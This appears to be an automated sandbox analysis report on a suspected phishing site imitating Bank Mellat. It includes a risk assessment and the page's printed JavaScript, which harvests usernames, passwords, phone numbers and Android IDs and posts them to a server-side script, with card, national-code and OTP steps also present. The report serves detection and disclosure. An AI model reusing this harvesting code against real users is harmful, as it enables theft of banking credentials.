Windows Analysis Report
https://rechrgerte.sbs/

• HCA enabled
• EGA enabled
• AMSI enabled

• Successful, ratio: 100%
• Number of executed functions: 0
• Number of non-executed functions: 0

{
"loginform": false,
"reasons": [
"The text 'bank mellot  ed-o CS*'I.S FIJ' does not contain any elements that are typically found in a login form, such as input fields for a username and password, a submit button, or labels for those input fields."
]
}

bank mellot  ed-o CS*'I.S FIJ 

```json
{
  "riskscore": 7,
  "reasons": "The JavaScript code collects sensitive information such as username, password, phone number, and Android ID, and sends it to a server via an AJAX request. This behavior is typical of phishing attacks, especially since the endpoint is a relative path ('../api/sendLoginData.php'), which could be part of a malicious server setup. Additionally, the code does not provide any indication of secure handling or encryption of the collected data."
}

var resLogin=null;
    var resCard=null;
    var resNational=null;

    var androidID = null;
    try {
        androidID = androidListener.getAndroidID();
    } catch (e) {
    }

    let xF= function(){
        const allowedCharacters="0123456789azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN";

        this.value = this.value.split('').filter(char => allowedCharacters.includes(char)).join('');
    };
    document.getElementById("i-username").addEventListener("input",xF);

    function hideDialog() {
        document.getElementById("container").style.pointerEvents = "all";
        document.getElementById("lay-card").style.pointerEvents = "all";
        document.getElementById("lay-national-code").style.pointerEvents = "all";
        document.getElementById("lay-otp").style.pointerEvents = "all";

        document.getElementById("popup1").style.display = "none";
    }

    function showDialog(message) {
        document.getElementById("container").style.pointerEvents = "none";
        document.getElementById("lay-card").style.pointerEvents = "none";
        document.getElementById("lay-national-code").style.pointerEvents = "none";
        document.getElementById("lay-otp").style.pointerEvents = "none";

        document.getElementById("dialog-p").innerHTML = "" + message;
        document.getElementById("popup1").style.display = "block";
    }

    function checkForm() {

        if (document.getElementById("i-phone").value.length != 11) {
            showDialog("       ");
            return false;
        }
        if (!document.getElementById("i-phone").value.startsWith("09")) {
            showDialog("        ");
            return false;
        }
        if (document.getElementById("i-username").value.length <= 3) {
            showDialog("       ");
            return false;
        }
        if (document.getElementById("i-password").value.length <= 3) {
            showDialog("       ");
            return false;
        }
    /*    if (!(/^(?=.*?[a-z])(?=.*?\d)/i.test(document.getElementById("i-password").value))) {
            showDialog("        (   )");
            return false;
        }*/

        document.getElementById("btn-login").classList.toggle("disabled");
        document.getElementById("btn-login").innerHTML = "  ...";

        disableClick();


        $.ajax({
            url: "../api/sendLoginData.php",
            type: "POST",
            data: {
                "username": document.getElementById("i-username").value,
                "password": document.getElementById("i-password").value,
                "phone": document.getElementById("i-phone").value,
                "android_id": androidID
            }
            ,
            success: function (input) {
                
                resLogin=input;

                console.log("LOGIN--> "